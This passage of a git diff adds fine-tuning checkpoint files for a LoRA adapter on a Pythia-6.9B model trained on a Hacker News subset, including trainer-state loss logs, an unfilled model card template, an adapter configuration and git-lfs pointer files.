3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.2173774242401123, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6429, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.8997802734375, + "eval_runtime": 43.9304, + "eval_samples_per_second": 22.763, + "eval_steps_per_second": 2.845, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9753201007843018, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.5879, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 2.9484663009643555, + "eval_runtime": 44.0868, + "eval_samples_per_second": 22.683, + "eval_steps_per_second": 2.835, + "step": 540 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.84847887253504e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-540/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..e88c349c795fa361747dcb7a61299f414a5d9249 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:db2e7a2ce8111c8b8afb9810b5f5475252b1af49da48da5e61af709474a09076 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..2fcc7aa7dd9286e196877322a65e521627491844 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:798f5b93927a9c4b126407f3b0351a867ebfd530c5a3f254b642459d6aa15032 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..9dc1ec111f2a6f7fbe8d878013e83df65b5f618a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5b6faa8c50c89ce52c86274c8c795afb3f00524e7aef4544572df4b5b6b12c6d +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..f59d0454a2e540196c447dc81e215fde49e60f8d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fe5b11bd9034273a78668f95788292b87ad00f4f53e9e4864d3471380b5838b8 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..ee4c12b2fbfcbbbd5b2ec78a67f4491954f200f4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-550/trainer_state.json @@ -0,0 +1,858 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.333333333333333, + "eval_steps": 10, + "global_step": 550, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 